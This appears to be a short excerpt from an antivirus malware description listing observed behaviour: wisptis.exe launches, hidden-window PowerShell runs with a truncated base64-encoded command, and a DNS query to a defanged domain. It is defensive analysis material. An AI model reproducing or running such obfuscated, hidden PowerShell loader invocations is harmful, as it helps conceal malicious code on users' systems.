Technical Information
- '<SYSTEM32>\wisptis.exe' /ManualLaunch;
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABwAGMAeQBzAGUAZQB4AGgAdgB0AHIAdQBiAG8AYgA9ACIAdQBhAGUAcwB2AHoAcwAiADsACgAkAGwAcABwAHEAdwAgAD0AIAAiAHYATQBjAGkASwBDAGcAWABQAEcAaABLACIAOwAKACQAeABhAHcAcAB5AHIAdwA9ACIAeQBsAHcAdABjAGcAdwBpAC...
- DNS ASK li##tsno.at
- '<SYSTEM32>\wisptis.exe' /ManualLaunch;' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABwAGMAeQBzAGUAZQB4AGgAdgB0AHIAdQBiAG8AYgA9ACIAdQBhAGUAcwB2AHoAcwAiADsACgAkAGwAcABwAHEAdwAgAD0AIAAiAHYATQBjAGkASwBDAGcAWABQAEcAaABLACIAOwAKACQAeABhAHcAcAB5AHIAdwA9ACIAeQBsAHcAdABjAGcAdwBpAC...' (with hidden window)